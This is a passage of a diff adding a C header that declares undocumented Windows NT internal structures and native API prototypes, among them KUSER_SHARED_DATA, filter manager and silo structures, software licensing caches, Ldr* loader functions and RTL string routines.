+ PROCESS_MITIGATION_BINARY_SIGNATURE_POLICY_W10 SignaturePolicy; + PROCESS_MITIGATION_FONT_DISABLE_POLICY_W10 FontDisablePolicy; + PROCESS_MITIGATION_IMAGE_LOAD_POLICY_W10 ImageLoadPolicy; + PROCESS_MITIGATION_SYSTEM_CALL_FILTER_POLICY_W10 SystemCallFilterPolicy; + PROCESS_MITIGATION_PAYLOAD_RESTRICTION_POLICY_W10 PayloadRestrictionPolicy; + PROCESS_MITIGATION_CHILD_PROCESS_POLICY_W10 ChildProcessPolicy; + PROCESS_MITIGATION_SIDE_CHANNEL_ISOLATION_POLICY_W10 SideChannelIsolationPolicy; + }; +} PROCESS_MITIGATION_POLICY_INFORMATION, *PPROCESS_MITIGATION_POLICY_INFORMATION; + +/* +** MITIGATION POLICY END +*/ + +/* +** KUSER_SHARED_DATA START +*/ +#define NX_SUPPORT_POLICY_ALWAYSOFF 0 +#define NX_SUPPORT_POLICY_ALWAYSON 1 +#define NX_SUPPORT_POLICY_OPTIN 2 +#define NX_SUPPORT_POLICY_OPTOUT 3 + +#include +typedef struct _KSYSTEM_TIME { + ULONG LowPart; + LONG High1Time; + LONG High2Time; +} KSYSTEM_TIME, *PKSYSTEM_TIME; +#include + +typedef enum _NT_PRODUCT_TYPE { + NtProductWinNt = 1, + NtProductLanManNt, + NtProductServer +} NT_PRODUCT_TYPE, *PNT_PRODUCT_TYPE; + +#define PROCESSOR_FEATURE_MAX 64 + +typedef enum _ALTERNATIVE_ARCHITECTURE_TYPE { + StandardDesign, // None == 0 == standard design + NEC98x86, // NEC PC98xx series on X86 + EndAlternatives // past end of known alternatives +} ALTERNATIVE_ARCHITECTURE_TYPE; + +// +// Define Address of User Shared Data +// +#define MM_SHARED_USER_DATA_VA 0x000000007FFE0000 + +// +// WARNING: this definition is OS version dependent. +// Structure maybe incomplete. +// +#include +typedef struct _KUSER_SHARED_DATA { + + ULONG TickCountLowDeprecated; + ULONG TickCountMultiplier; + + volatile KSYSTEM_TIME InterruptTime; + volatile KSYSTEM_TIME SystemTime; + volatile KSYSTEM_TIME TimeZoneBias; + + USHORT ImageNumberLow; + USHORT ImageNumberHigh; + + WCHAR NtSystemRoot[260]; + + ULONG MaxStackTraceDepth; + ULONG CryptoExponent; + ULONG TimeZoneId; + ULONG LargePageMinimum; + + union { + ULONG Reserved2[7]; + struct { + ULONG AitSamplingValue; + ULONG AppCompatFlag; + struct { + ULONG LowPart; + ULONG HighPart; + } RNGSeedVersion; + ULONG GlobalValidationRunlevel; + LONG TimeZoneBiasStamp; + ULONG NtBuildNumber; + }; + }; + + NT_PRODUCT_TYPE NtProductType; + BOOLEAN ProductTypeIsValid; + UCHAR Reserved0[1]; + USHORT NativeProcessorArchitecture; + + ULONG NtMajorVersion; + ULONG NtMinorVersion; + + BOOLEAN ProcessorFeatures[PROCESSOR_FEATURE_MAX]; + ULONG Reserved1; + ULONG Reserved3; + volatile ULONG TimeSlip; + ALTERNATIVE_ARCHITECTURE_TYPE AlternativeArchitecture; + ULONG AltArchitecturePad; + LARGE_INTEGER SystemExpirationDate; + ULONG SuiteMask; + BOOLEAN KdDebuggerEnabled; + + union { + UCHAR MitigationPolicies; + struct { + UCHAR NXSupportPolicy : 2; + UCHAR SEHValidationPolicy : 2; + UCHAR CurDirDevicesSkippedForDlls : 2; + UCHAR Reserved : 2; + }; + }; + + UCHAR Reserved6[2]; + + volatile ULONG ActiveConsoleId; + volatile ULONG DismountCount; + ULONG ComPlusPackage; + ULONG LastSystemRITEventTickCount; + ULONG NumberOfPhysicalPages; + BOOLEAN SafeBootMode; + UCHAR VirtualizationFlags; + UCHAR Reserved12[2]; + + union { + ULONG SharedDataFlags; + struct { + ULONG DbgErrorPortPresent : 1; + ULONG DbgElevationEnabled : 1; + ULONG DbgVirtEnabled : 1; + ULONG DbgInstallerDetectEnabled : 1; + ULONG DbgLkgEnabled : 1; + ULONG DbgDynProcessorEnabled : 1; + ULONG DbgConsoleBrokerEnabled : 1; + ULONG DbgSecureBootEnabled : 1; + ULONG DbgMultiSessionSku : 1; + ULONG DbgMultiUsersInSessionSku : 1; + ULONG DbgStateSeparationEnabled : 1; + ULONG SpareBits : 21; + }; + }; + ULONG DataFlagsPad[1]; + ULONGLONG TestRetInstruction; + LONGLONG QpcFrequency; + + ULONG SystemCall; + ULONG SystemCallPad0; + + ULONGLONG SystemCallPad[2]; + + union { + volatile KSYSTEM_TIME TickCount; + volatile ULONG64 TickCountQuad; + ULONG ReservedTickCountOverlay[3]; + }; + + ULONG TickCountPad[1]; + + ULONG Cookie; + ULONG CookiedPad; + + ULONG ConsoleSessionForegroundProcessId; + + ULONGLONG TimeUpdateLock; + ULONGLONG BaselineSystemTimeQpc; + ULONGLONG BaselineInterruptTimeQpc; + ULONGLONG QpcSystemTimeIncrement; + ULONGLONG QpcInterruptTimeIncrement; + UCHAR QpcSystemTimeIncrementShift; + UCHAR QpcInterruptTimeIncrementShift; + USHORT UnparkedProcessorCount; + + ULONG EnclaveFeatureMask[4]; + union { + ULONG Reserved8; + ULONG TelemetryCoverageRound; + }; + + USHORT UserModeGlobalLogger[16]; + + ULONG ImageFileExecutionOptions; + ULONG LangGenerationCount; + ULONGLONG Reserved4; + + volatile ULONG64 InterruptTimeBias; + volatile ULONG64 QpcBias; + + ULONG ActiveProcessorCount; + volatile UCHAR ActiveGroupCount; + UCHAR Reserved9; + + union { + USHORT QpcData; + struct { + UCHAR QpcBypassEnabled : 1; + UCHAR QpcShift : 1; + }; + }; + + LARGE_INTEGER TimeZoneBiasEffectiveStart; + LARGE_INTEGER TimeZoneBiasEffectiveEnd; + + XSTATE_CONFIGURATION XState; + +} KUSER_SHARED_DATA, *PKUSER_SHARED_DATA; +#include + +#define USER_SHARED_DATA ((KUSER_SHARED_DATA * const)MM_SHARED_USER_DATA_VA) + +/* +** KUSER_SHARED_DATA END +*/ + +/* +** FLT MANAGER START +*/ + +#define FLTFL_MANDATORY_UNLOAD_IN_PROGRESS 0x1 +#define FLTFL_FILTERING_INITIATED 0x2 +#define FLTFL_NAME_PROVIDER 0x4 +#define FLTFL_SUPPORTS_PIPES_MAILSLOTS 0x8 + +#define FLT_OBFL_DRAINING 0x1 +#define FLT_OBFL_ZOMBIED 0x2 +#define FLT_OBFL_TYPE_INSTANCE 0x1000000 +#define FLT_OBFL_TYPE_FILTER 0x2000000 +#define FLT_OBFL_TYPE_VOLUME 0x4000000 + +typedef struct _FLT_OBJECT { + ULONG Flags; + ULONG PointerCount; + EX_RUNDOWN_REF RundownRef; + LIST_ENTRY PrimaryLink; +} FLT_OBJECT, *PFLT_OBJECT; + +typedef struct _FLT_SERVER_PORT_OBJECT { + LIST_ENTRY FilterLink; + PVOID ConnectNotify; + PVOID DisconnectNotify; + PVOID MessageNotify; + PVOID Filter; + PVOID Cookie; + ULONG Flags; + ULONG NumberOfConnections; + ULONG MaxConnections; +} FLT_SERVER_PORT_OBJECT, *PFLT_SERVER_PORT_OBJECT; + +/* +** FLT MANAGER END +*/ + +/* +** SILO START +*/ + +typedef struct _SYSTEM_ROOT_SILO_INFORMATION { + ULONG NumberOfSilos; + ULONG SiloIdList[1]; +} SYSTEM_ROOT_SILO_INFORMATION, *PSYSTEM_ROOT_SILO_INFORMATION; + +typedef struct _SILO_USER_SHARED_DATA { + ULONG64 ServiceSessionId; + ULONG ActiveConsoleId; + LONGLONG ConsoleSessionForegroundProcessId; + NT_PRODUCT_TYPE NtProductType; + ULONG SuiteMask; + ULONG SharedUserSessionId; + BOOLEAN IsMultiSessionSku; + WCHAR NtSystemRoot[260]; + USHORT UserModeGlobalLogger[16]; +} SILO_USER_SHARED_DATA, *PSILO_USER_SHARED_DATA; + +typedef struct _OBP_SYSTEM_DOS_DEVICE_STATE { + ULONG GlobalDeviceMap; + ULONG LocalDeviceCount[26]; +} OBP_SYSTEM_DOS_DEVICE_STATE, *POBP_SYSTEM_DOS_DEVICE_STATE; + +typedef struct _OBP_SILODRIVERSTATE { + PDEVICE_MAP SystemDeviceMap; + OBP_SYSTEM_DOS_DEVICE_STATE SystemDosDeviceState; + EX_PUSH_LOCK DeviceMapLock; + OBJECT_NAMESPACE_LOOKUPTABLE PrivateNamespaceLookupTable; +} OBP_SILODRIVERSTATE, *POBP_SILODRIVERSTATE; + +//incomplete, values not important, change between versions. +typedef struct _ESERVERSILO_GLOBALS { + OBP_SILODRIVERSTATE ObSiloState; + //incomplete +} ESERVERSILO_GLOBALS, *PESERVERSILO_GLOBALS; + +/* +** SILO END +*/ + +/* +** SOFTWARE LICENSING START +*/ +#pragma pack(push, 1) +typedef struct _SL_CACHE_VALUE_DESCRIPTOR { + USHORT Size; + USHORT NameLength; + USHORT Type; + USHORT DataLength; + ULONG Attributes; + ULONG Reserved; + WCHAR Name[ANYSIZE_ARRAY]; +} SL_CACHE_VALUE_DESCRIPTOR, *PSL_CACHE_VALUE_DESCRIPTOR; +typedef SL_CACHE_VALUE_DESCRIPTOR SL_KMEM_CACHE_VALUE_DESCRIPTOR; +#pragma pack(pop) + +typedef struct _SL_CACHE { + ULONG TotalSize; + ULONG SizeOfData; + ULONG SignatureSize; + ULONG Flags; + ULONG Version; + SL_KMEM_CACHE_VALUE_DESCRIPTOR Descriptors[ANYSIZE_ARRAY]; +} SL_CACHE, *PSL_CACHE; +typedef SL_CACHE SL_KMEM_CACHE; + +typedef struct _SL_APPX_CACHE_VALUE_DESCRIPTOR { + UCHAR HashedName[32]; + ULONGLONG Expiration; + ULONG DataSize; + WCHAR Name[ANYSIZE_ARRAY]; +} SL_APPX_CACHE_VALUE_DESCRIPTOR, *PSL_APPX_CACHE_VALUE_DESCRIPTOR; + +typedef struct _SL_APPX_CACHE { + ULONG Version; + ULONG Flags; + ULONG DataSize; + ULONGLONG DataCheckSum; + SL_APPX_CACHE_VALUE_DESCRIPTOR Descriptors[ANYSIZE_ARRAY]; +} SL_APPX_CACHE, *PSL_APPX_CACHE; + + +/* +** SOFTWARE LICENSING END +*/ + + +/* +** LDR START +*/ +// +// Dll Characteristics for LdrLoadDll +// +#define LDR_IGNORE_CODE_AUTHZ_LEVEL 0x00001000 + +// +// LdrAddRef Flags +// +#define LDR_ADDREF_DLL_PIN 0x00000001 + +// +// LdrLockLoaderLock Flags +// +#define LDR_LOCK_LOADER_LOCK_FLAG_RAISE_ON_ERRORS 0x00000001 +#define LDR_LOCK_LOADER_LOCK_FLAG_TRY_ONLY 0x00000002 + +// +// LdrUnlockLoaderLock Flags +// +#define LDR_UNLOCK_LOADER_LOCK_FLAG_RAISE_ON_ERRORS 0x00000001 + +// +// LdrGetDllHandleEx Flags +// +#define LDR_GET_DLL_HANDLE_EX_UNCHANGED_REFCOUNT 0x00000001 +#define LDR_GET_DLL_HANDLE_EX_PIN 0x00000002 + +typedef VOID(NTAPI *PLDR_LOADED_MODULE_ENUMERATION_CALLBACK_FUNCTION)( + _In_ PCLDR_DATA_TABLE_ENTRY DataTableEntry, + _In_ PVOID Context, + _Inout_ BOOLEAN *StopEnumeration + ); + +typedef VOID(CALLBACK *PLDR_DLL_NOTIFICATION_FUNCTION)( + _In_ ULONG NotificationReason, + _In_ PCLDR_DLL_NOTIFICATION_DATA NotificationData, + _In_opt_ PVOID Context); + +NTSYSAPI +NTSTATUS +NTAPI +LdrAccessResource( + _In_ PVOID DllHandle, + _In_ CONST IMAGE_RESOURCE_DATA_ENTRY* ResourceDataEntry, + _Out_opt_ PVOID *Address, + _Out_opt_ PULONG Size); + +NTSYSAPI +NTSTATUS +NTAPI +LdrAddRefDll( + _In_ ULONG Flags, + _In_ PVOID DllHandle); + +NTSYSAPI +NTSTATUS +NTAPI +LdrEnumerateLoadedModules( + _In_opt_ ULONG Flags, + _In_ PLDR_LOADED_MODULE_ENUMERATION_CALLBACK_FUNCTION CallbackFunction, + _In_opt_ PVOID Context); + +NTSYSAPI +NTSTATUS +NTAPI +LdrFindResource_U( + _In_ PVOID DllHandle, + _In_ CONST ULONG_PTR* ResourceIdPath, + _In_ ULONG ResourceIdPathLength, + _Out_ PIMAGE_RESOURCE_DATA_ENTRY *ResourceDataEntry); + +NTSYSAPI +NTSTATUS +NTAPI +LdrFindResourceDirectory_U( + _In_ PVOID DllHandle, + _In_ PLDR_RESOURCE_INFO ResourceInfo, + _In_ ULONG Level, + _Out_ PIMAGE_RESOURCE_DIRECTORY *ResourceDirectory); + +NTSYSAPI +NTSTATUS +NTAPI +LdrFindEntryForAddress( + _In_ PVOID Address, + _Out_ PLDR_DATA_TABLE_ENTRY *TableEntry); + +NTSYSAPI +NTSTATUS +NTAPI +LdrGetDllHandle( + _In_opt_ PCWSTR DllPath, + _In_opt_ PULONG DllCharacteristics, + _In_ PCUNICODE_STRING DllName, + _Out_ PVOID *DllHandle); + +NTSYSAPI +NTSTATUS +NTAPI +LdrGetDllHandleEx( + _In_ ULONG Flags, + _In_opt_ PWSTR DllPath, + _In_opt_ PULONG DllCharacteristics, + _In_ PUNICODE_STRING DllName, + _Out_opt_ PVOID *DllHandle); + +NTSYSAPI +NTSTATUS +NTAPI +LdrGetDllHandleByMapping( + _In_ PVOID BaseAddress, + _Out_ PVOID *DllHandle); + +NTSYSAPI +NTSTATUS +NTAPI +LdrGetDllHandleByName( + _In_opt_ PUNICODE_STRING BaseDllName, + _In_opt_ PUNICODE_STRING FullDllName, + _Out_ PVOID *DllHandle); + +NTSYSAPI +NTSTATUS +NTAPI +LdrGetDllFullName( + _In_ PVOID DllHandle, + _Out_ PUNICODE_STRING FullDllName); + +NTSYSAPI +NTSTATUS +NTAPI +LdrGetDllDirectory( + _Out_ PUNICODE_STRING DllDirectory); + +NTSYSAPI +NTSTATUS +NTAPI +LdrSetDllDirectory( + _In_ PUNICODE_STRING DllDirectory); + +NTSYSAPI +NTSTATUS +NTAPI +LdrGetProcedureAddress( + _In_ PVOID DllHandle, + _In_opt_ CONST ANSI_STRING* ProcedureName, + _In_opt_ ULONG ProcedureNumber, + _Out_ PVOID *ProcedureAddress); + +NTSYSAPI +NTSTATUS +NTAPI +LdrGetProcedureAddressForCaller( + _In_ PVOID DllHandle, + _In_opt_ PANSI_STRING ProcedureName, + _In_opt_ ULONG ProcedureNumber, + _Out_ PVOID *ProcedureAddress, + _In_ ULONG Flags, + _In_ PVOID *Callback); + +NTSYSAPI +NTSTATUS +NTAPI +LdrGetKnownDllSectionHandle( + _In_ PCWSTR DllName, + _In_ BOOLEAN KnownDlls32, + _Out_ PHANDLE Section); + +NTSYSAPI +NTSTATUS +NTAPI +LdrLoadDll( + _In_opt_ PCWSTR DllPath, + _In_opt_ PULONG DllCharacteristics, + _In_ PCUNICODE_STRING DllName, + _Out_ PVOID *DllHandle); + +NTSYSAPI +NTSTATUS +NTAPI +LdrUnloadDll( + _In_ PVOID DllHandle); + +NTSYSAPI +NTSTATUS +NTAPI +LdrQueryProcessModuleInformation( + _Out_ PRTL_PROCESS_MODULES ModuleInformation, + _In_ ULONG ModuleInformationLength, + _Out_opt_ PULONG ReturnLength); + +NTSYSAPI +NTSTATUS +NTAPI +LdrRegisterDllNotification( + _In_ ULONG Flags, + _In_ PLDR_DLL_NOTIFICATION_FUNCTION NotificationFunction, + _In_opt_ PVOID Context, + _Out_ PVOID *Cookie); + +NTSYSAPI +NTSTATUS +NTAPI +LdrUnregisterDllNotification( + _In_ PVOID Cookie); + +NTSYSAPI +NTSTATUS +NTAPI +LdrResSearchResource( + _In_ PVOID File, + _In_ CONST ULONG_PTR* ResIds, + _In_ ULONG ResIdCount, + _In_ ULONG Flags, + _Out_ LPVOID *Resource, + _Out_ ULONG_PTR *Size, + _In_opt_ USHORT *FoundLanguage, + _In_opt_ ULONG *FoundLanguageLength); + +NTSYSAPI +NTSTATUS +NTAPI +LdrOpenImageFileOptionsKey( + _In_ PCUNICODE_STRING ImagePathName, + _In_ BOOLEAN Wow64Path, + _Out_ PHANDLE KeyHandle); + +NTSYSAPI +NTSTATUS +NTAPI +LdrQueryImageFileExecutionOptions( + _In_ PCUNICODE_STRING ImagePathName, + _In_ PCWSTR OptionName, + _In_ ULONG Type, + _Out_ PVOID Buffer, + _In_ ULONG BufferSize, + _Out_opt_ PULONG ResultSize); + +NTSYSAPI +BOOLEAN +NTAPI +LdrIsModuleSxsRedirected( //LdrEntry->Flags->Redirected + _In_ PVOID DllHandle); + +NTSYSAPI +NTSTATUS +NTAPI +LdrQueryImageFileExecutionOptionsEx( + _In_ PCUNICODE_STRING ImagePathName, + _In_ PCWSTR OptionName, + _In_ ULONG Type, + _Out_ PVOID Buffer, + _In_ ULONG BufferSize, + _Out_opt_ PULONG ResultSize, + _In_ BOOLEAN Wow64Path); + +NTSYSAPI +NTSTATUS +NTAPI +LdrQueryImageFileKeyOption( + _In_ HANDLE KeyHandle, + _In_ PCWSTR OptionName, + _In_ ULONG Type, + _Out_ PVOID Buffer, + _In_ ULONG BufferSize, + _Out_opt_ PULONG ResultSize); + +NTSYSAPI +NTSTATUS +NTAPI +LdrDisableThreadCalloutsForDll( + _In_ PVOID DllImageBase); + +#define LDR_LOCK_LOADER_LOCK_FLAG_RAISE_ON_ERRORS 0x00000001 +#define LDR_LOCK_LOADER_LOCK_FLAG_TRY_ONLY 0x00000002 + +#define LDR_LOCK_LOADER_LOCK_DISPOSITION_INVALID 0x00000000 +#define LDR_LOCK_LOADER_LOCK_DISPOSITION_LOCK_ACQUIRED 0x00000001 +#define LDR_LOCK_LOADER_LOCK_DISPOSITION_LOCK_NOT_ACQUIRED 0x00000002 + +#define LDR_UNLOCK_LOADER_LOCK_FLAG_RAISE_ON_ERRORS 0x00000001 + +NTSYSAPI +NTSTATUS +NTAPI +LdrLockLoaderLock( + _In_ ULONG Flags, + _Out_opt_ ULONG *Disposition, + _Out_ PVOID *Cookie); + +NTSYSAPI +NTSTATUS +NTAPI +LdrUnlockLoaderLock( + _In_ ULONG Flags, + _Inout_ PVOID Cookie); + +NTSYSAPI +NTSTATUS +NTAPI +LdrRelocateImage( + _In_ PVOID NewBase, + _In_ PSTR LoaderName, + _In_ NTSTATUS Success, + _In_ NTSTATUS Conflict, + _In_ NTSTATUS Invalid); + +NTSYSAPI +PIMAGE_BASE_RELOCATION +NTAPI +LdrProcessRelocationBlock( + _In_ ULONG_PTR VA, + _In_ ULONG SizeOfBlock, + _In_ PUSHORT NextOffset, + _In_ LONG_PTR Diff); + +NTSYSAPI +NTSTATUS +NTAPI +LdrShutdownProcess( + VOID); + +NTSYSAPI +NTSTATUS +NTAPI +LdrShutdownThread( + VOID); + +NTSYSAPI +BOOLEAN +NTAPI +LdrControlFlowGuardEnforced( + VOID); + +/* +** LDR END +*/ + +typedef struct _HANDLEENTRY { + PHEAD phead; // Pointer to the Object. + PVOID pOwner; // PTI or PPI + BYTE bType; // Object handle type + BYTE bFlags; // Flags + WORD wUniq; // Access count. +} HANDLEENTRY, *PHANDLEENTRY; + +typedef struct _SERVERINFO { + WORD wRIPFlags; + WORD wSRVIFlags; + WORD wRIPPID; + WORD wRIPError; + ULONG cHandleEntries; + // incomplete +} SERVERINFO, *PSERVERINFO; + +typedef struct _SHAREDINFO { + PSERVERINFO psi; + PHANDLEENTRY aheList; + ULONG HeEntrySize; + // incomplete +} SHAREDINFO, *PSHAREDINFO; + +typedef struct _USERCONNECT { + ULONG ulVersion; + ULONG ulCurrentVersion; + DWORD dwDispatchCount; + SHAREDINFO siClient; +} USERCONNECT, *PUSERCONNECT; + +/* +** Runtime Library API START +*/ + +/************************************************************************************ +* +* CSR API. +* +************************************************************************************/ + +NTSYSAPI +ULONG +NTAPI +CsrGetProcessId( + VOID); + +NTSYSAPI +NTSTATUS +NTAPI +CsrClientConnectToServer( + _In_ PWSTR ObjectDirectory, + _In_ ULONG ServerDllIndex, + _Inout_ PVOID ConnectionInformation, + _Inout_ ULONG *ConnectionInformationLength, + _Out_ PBOOLEAN CalledFromServer); + +/************************************************************************************ +* +* RTL Strings API. +* +************************************************************************************/ + +#define RTL_DUPLICATE_UNICODE_STRING_NULL_TERMINATE (0x00000001) +#define RTL_DUPLICATE_UNICODE_STRING_ALLOCATE_NULL_STRING (0x00000002) + +#ifndef RtlInitEmptyUnicodeString +#define RtlInitEmptyUnicodeString(_ucStr,_buf,_bufSize) \ + ((_ucStr)->Buffer = (_buf), \ + (_ucStr)->Length = 0, \ + (_ucStr)->MaximumLength = (USHORT)(_bufSize)) +#endif + +NTSYSAPI +BOOLEAN +NTAPI +RtlCreateUnicodeString( + _Out_ PUNICODE_STRING DestinationString, + _In_ PCWSTR SourceString); + +NTSYSAPI +BOOLEAN +NTAPI +RtlCreateUnicodeStringFromAsciiz( + _Out_ PUNICODE_STRING DestinationString, + _In_ PSTR SourceString); + +NTSYSAPI +VOID +NTAPI +RtlInitString( + _Inout_ PSTRING DestinationString, + _In_ PCSZ SourceString); + +NTSYSAPI +VOID +NTAPI +RtlInitUnicodeString( + _Out_ PUNICODE_STRING DestinationString, + _In_opt_ PCWSTR SourceString); + +NTSYSAPI +NTSTATUS +NTAPI +RtlInitUnicodeStringEx( + _Out_ PUNICODE_STRING DestinationString, + _In_opt_ PWSTR SourceString); + +NTSYSAPI +BOOLEAN +NTAPI +RtlEqualUnicodeString( + _In_ PCUNICODE_STRING String1, + _In_ PCUNICODE_STRING String2, + _In_ BOOLEAN CaseInSensitive); + +NTSYSAPI +NTSTATUS +NTAPI +RtlDuplicateUnicodeString( + _In_ ULONG Flags, + _In_ PUNICODE_STRING StringIn, + _Out_ PUNICODE_STRING StringOut); + +NTSYSAPI +WCHAR +NTAPI +RtlUpcaseUnicodeChar( + _In_ WCHAR SourceCharacter); + +NTSYSAPI +WCHAR +NTAPI +RtlDowncaseUnicodeChar( + _In_ WCHAR SourceCharacter); + +NTSYSAPI +BOOLEAN +NTAPI +RtlIsNameInExpression( + _In_ PUNICODE_STRING Expression, + _In_ PUNICODE_STRING Name, + _In_ BOOLEAN IgnoreCase, + _In_opt_ PWCH UpcaseTable); + +NTSYSAPI +NTSTATUS +NTAPI +RtlStringFromGUID( + _In_ GUID *Guid, + _Out_ PUNICODE_STRING GuidString); + +NTSYSAPI +NTSTATUS +NTAPI +RtlGUIDFromString( + _In_ PUNICODE_STRING GuidString, + _Out_ GUID *Guid); + +NTSYSAPI +BOOLEAN +NTAPI +RtlPrefixUnicodeString( + _In_ PCUNICODE_STRING String1, + _In_ PCUNICODE_STRING String2, + _In_ BOOLEAN CaseInSensitive); + +NTSYSAPI +NTSTATUS +NTAPI +RtlExpandEnvironmentStrings( + _In_opt_ PVOID Environment, + _In_reads_(SrcLength) PWSTR Src, + _In_ SIZE_T SrcLength, + _Out_writes_opt_(DstLength) PWSTR Dst, + _In_ SIZE_T DstLength, + _Out_opt_ PSIZE_T ReturnLength); + +NTSYSAPI +NTSTATUS +NTAPI +RtlExpandEnvironmentStrings_U( + _In_opt_ PVOID Environment, + _In_ PCUNICODE_STRING Source, + _Out_ PUNICODE_STRING Destination, + _Out_opt_ PULONG ReturnedLength); + +NTSYSAPI +NTSTATUS +NTAPI +RtlFormatCurrentUserKeyPath( + _Out_ PUNICODE_STRING CurrentUserKeyPath); + +NTSYSAPI +VOID +NTAPI +RtlFreeUnicodeString( + _In_ PUNICODE_STRING UnicodeString); + +NTSYSAPI +VOID +NTAPI +RtlEraseUnicodeString( + _Inout_ PUNICODE_STRING String); + +NTSYSAPI +VOID +NTAPI +RtlFreeAnsiString( + _In_ PANSI_STRING AnsiString); + +NTSYSAPI +NTSTATUS +NTAPI +RtlAnsiStringToUnicodeString( + _Out_ PUNICODE_STRING DestinationString, + _In_ PCANSI_STRING SourceString, + _In_ BOOLEAN AllocateDestinationString); + +NTSYSAPI +NTSTATUS +NTAPI +RtlUnicodeStringToAnsiString( + _Inout_ PANSI_STRING DestinationString, + _In_ PUNICODE_STRING SourceString, + _In_ BOOLEAN AllocateDestinationString); + +NTSYSAPI +WCHAR +NTAPI +RtlAnsiCharToUnicodeChar( + _Inout_ PUCHAR *SourceCharacter); + +NTSYSAPI +NTSTATUS +NTAPI +RtlUnicodeToMultiByteSize( + _Out_ PULONG BytesInMultiByteString, + _In_reads_bytes_(BytesInUnicodeString) PWCH UnicodeString, + _In_ ULONG BytesInUnicodeString); + +NTSYSAPI +BOOLEAN +NTAPI +RtlDosPathNameToNtPathName_U( + _In_ PCWSTR DosFileName, + _Out_ PUNICODE_STRING NtFileName, + _Out_opt_ PWSTR *FilePart, + _Reserved_ PVOID Reserved); + +NTSYSAPI +LONG +NTAPI +RtlCompareUnicodeStrings( + _In_reads_(String1Length) PWCHAR String1, + _In_ SIZE_T String1Length, + _In_reads_(String2Length) PWCHAR String2, + _In_ SIZE_T String2Length, + _In_ BOOLEAN CaseInSensitive); + +NTSYSAPI +VOID +NTAPI +RtlCopyString( + _In_ PSTRING DestinationString, + _In_opt_ PSTRING SourceString); + +NTSYSAPI +CHAR +NTAPI +RtlUpperChar( + _In_ CHAR Character); + +NTSYSAPI +VOID +NTAPI +RtlUpperString( + _In_ PSTRING DestinationString, + _In_ PSTRING SourceString); + +// +// preallocated heap-growable buffers +// +typedef struct _RTL_BUFFER { + PUCHAR Buffer; + PUCHAR StaticBuffer; + SIZE_T Size; + SIZE_T StaticSize; + SIZE_T ReservedForAllocatedSize; // for future doubling + PVOID ReservedForIMalloc; // for future pluggable growth +} RTL_BUFFER, *PRTL_BUFFER; + +typedef struct _RTL_UNICODE_STRING_BUFFER { + UNICODE_STRING String; + RTL_BUFFER ByteBuffer; + UCHAR MinimumStaticBufferForTerminalNul[sizeof(WCHAR)]; +} RTL_UNICODE_STRING_BUFFER, *PRTL_UNICODE_STRING_BUFFER; + +// +// These are OUT Disposition values. +// +#define RTL_NT_PATH_NAME_TO_DOS_PATH_NAME_AMBIGUOUS (0x00000001) +#define RTL_NT_PATH_NAME_TO_DOS_PATH_NAME_UNC (0x00000002) +#define RTL_NT_PATH_NAME_TO_DOS_PATH_NAME_DRIVE (0x00000003) +#define RTL_NT_PATH_NAME_TO_DOS_PATH_NAME_ALREADY_DOS (0x00000004) + +NTSYSAPI +NTSTATUS +NTAPI +RtlNtPathNameToDosPathName( + _In_ ULONG Flags, + _Inout_ PRTL_UNICODE_STRING_BUFFER Path, + _Out_opt_ PULONG Disposition, + _Inout_opt_ PWSTR* FilePart); + +NTSYSAPI +ULONG +NTAPI +RtlIsDosDeviceName_U( + _In_ PCWSTR DosFileName); + +NTSYSAPI +ULONG +NTAPI +RtlGetFullPathName_U( + _In_ PCWSTR lpFileName, + _In_ ULONG nBufferLength, + _Out_writes_bytes_(nBufferLength) PWSTR lpBuffer, + _Out_opt_ PWSTR *lpFilePart); + +NTSYSAPI +BOOLEAN +NTAPI +RtlGetSearchPath( + _Out_ PWSTR *SearchPath); + +typedef enum _RTL_PATH_TYPE { + RtlPathTypeUnknown, // 0 + RtlPathTypeUncAbsolute, // 1 + RtlPathTypeDriveAbsolute, // 2 + RtlPathTypeDriveRelative, // 3 + RtlPathTypeRooted, // 4 + RtlPathTypeRelative, // 5 + RtlPathTypeLocalDevice, // 6 + RtlPathTypeRootLocalDevice // 7 +} RTL_PATH_TYPE; + +NTSYSAPI +RTL_PATH_TYPE +NTAPI +RtlDetermineDosPathNameType_U( + _In_ PCWSTR DosFileName); + +#define HASH_STRING_ALGORITHM_DEFAULT (0) +#define HASH_STRING_ALGORITHM_X65599 (1) +#define HASH_STRING_ALGORITHM_INVALID (0xffffffff) + +NTSYSAPI +NTSTATUS +NTAPI +RtlHashUnicodeString( + _In_ const UNICODE_STRING *String, + _In_ BOOLEAN CaseInSensitive, + _In_ ULONG HashAlgorithm, + _Out_ PULONG HashValue); + +NTSYSAPI +NTSTATUS +NTAPI +RtlAppendUnicodeStringToString( + _In_ PUNICODE_STRING Destination, + _In_ PUNICODE_STRING Source); + +NTSYSAPI +NTSTATUS +NTAPI +RtlAppendUnicodeToString( + _In_ PUNICODE_STRING Destination, + _In_opt_ PWSTR Source); + +NTSYSAPI +VOID +NTAPI +RtlCopyUnicodeString( + _In_ PUNICODE_STRING DestinationString, + _In_ PUNICODE_STRING SourceString); + +NTSYSAPI +NTSTATUS +NTAPI +RtlUpcaseUnicodeString( + _Inout_ PUNICODE_STRING DestinationString, + _In_ PUNICODE_STRING SourceString, + _In_ BOOLEAN AllocateDestinationString); + +NTSYSAPI +NTSTATUS +NTAPI +RtlDowncaseUnicodeString( + _Inout_ PUNICODE_STRING DestinationString, + _In_ PUNICODE_STRING SourceString, + _In_ BOOLEAN AllocateDestinationString); + +NTSYSAPI +VOID +NTAPI +RtlEraseUnicodeString( + _Inout_ PUNICODE_STRING String); + +#define RTL_ENSURE_BUFFER_SIZE_NO_COPY (0x00000001) + +NTSYSAPI +NTSTATUS +NTAPI +RtlpEnsureBufferSize( + _In_ ULONG Flags, + _Inout_ PRTL_BUFFER Buffer, + _In_ SIZE_T NewSizeBytes); + +#define RtlInitBuffer(Buff, StatBuff, StatSize) \ + do { \ + (Buff)->Buffer = (StatBuff); \ + (Buff)->Size = (StatSize); \ + (Buff)->StaticBuffer = (StatBuff); \ + (Buff)->StaticSize = (StatSize); \ + } while (0) + +#define RtlEnsureBufferSize(Flags, Buff, NewSizeBytes) \ + ( ((Buff) != NULL && (NewSizeBytes) <= (Buff)->Size) \ + ? STATUS_SUCCESS \ + : RtlpEnsureBufferSize((Flags), (Buff), (NewSizeBytes)) \ + ) + +#define RtlFreeBuffer(Buff) \ + do { \ + if ((Buff) != NULL && (Buff)->Buffer != NULL) { \ + if (RTLP_BUFFER_IS_HEAP_ALLOCATED(Buff)) { \ + UNICODE_STRING UnicodeString; \ + UnicodeString.Buffer = (PWSTR)(PVOID)(Buff)->Buffer; \ + RtlFreeUnicodeString(&UnicodeString); \ 